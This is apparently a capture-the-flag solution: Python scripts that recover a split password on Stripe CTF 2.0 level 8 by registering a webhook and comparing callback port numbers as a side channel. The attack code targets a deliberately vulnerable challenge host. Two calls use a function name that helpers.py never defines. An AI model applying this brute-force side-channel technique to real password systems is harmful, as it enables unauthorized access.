The main script for solving level8 of the Stripe CtF 2.0

echo.py

#!/usr/bin/env python

"""
Finds chunks with some tweaking
"""

import socket
import helpers

from time import sleep

debug = False

backlog = 5
size = 1024

def start(chunks):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.bind(('', 0))
	s.listen(backlog)

	port = s.getsockname()[1]
	hooks = '["level02-3.stripe-ctf.com:%s"]' % port
	print "Hook listens on ", hooks

	retry = []
	candidate = []

	try:
	    for i in chunks:
		print 'Trying chunk', i
		chunk = helpers.pad_chunck(i)
		password = "328867" + chunk + "xxx"

		delta = -1e6

		while (delta <= -10):
			first_port = guess(password, hooks, s)
			second_port = guess(password, hooks, s) 
			delta = first_port - second_port

		if debug:
		    print 'Chunk', i
		    print 'Delta', delta
		else:
		    if delta <= -10:
			print 'Retry: ', i
			retry.append(i)
		    elif delta < -4:
			candidate.append(i)
			print 'Chunk: ', i, 'delta', delta

		#data = client.recv(size)
		#if data:
		#    pass
		#    #print data

	finally:
	    s.close()

	return (candidate, retry)

def c4(password):
	for i in xrange(1, 1000):
		print 'Trying chunk ', i
		if helpers.test(password + helpers.pad_chunk(i), "[]"):
			print password + helpers.pad_chunk(i)
			return

def guess(password, hooks, s):
	"""Makes a gues and reports the port number of the response"""
	if helpers.test(password, hooks):
		print password
	client, address = s.accept()
	client.recv(size)
	client.close()
	return address[1]

helpers.py

import requests
import timeit
import json


url = 'http://localhost:3000'
url = 'https://level08-4.stripe-ctf.com/user-teqqfijvdv/'

data_template = """{"password": "%s", "webhooks": %s}"""

def test(password, hooks):
    data = data_template % (password, hooks)
    return requests.post(url, data=data)

def send(hooks):
    return test("xxxxxxxxxxxx", hooks)

def verify(password):
    resp = json.loads(test(password, "[]").text)
    return resp['success']

def do_time():
    for i in xrange(123, 125):
        c1 = str(i)
        if len(c1) == 1:
            c1 = "00" + c1
        elif len(c1) == 2:
            c1 = "0" + c1

        password = c1 + "xxxxxxxxx"
        json = """{"password": "%s", "webhooks": %s}""" % (password, "[]")
        def fun():
            r = requests.post(url, data = json)
        print i, timeit.Timer(fun).timeit(1)

def pad_chunck(i):
    c1 = str(i)
    if len(c1) == 1:
        c1 = "00" + c1
    elif len(c1) == 2:
        c1 = "0" + c1
    return c1

The only nice thing about this code is the fact that it works, kinda.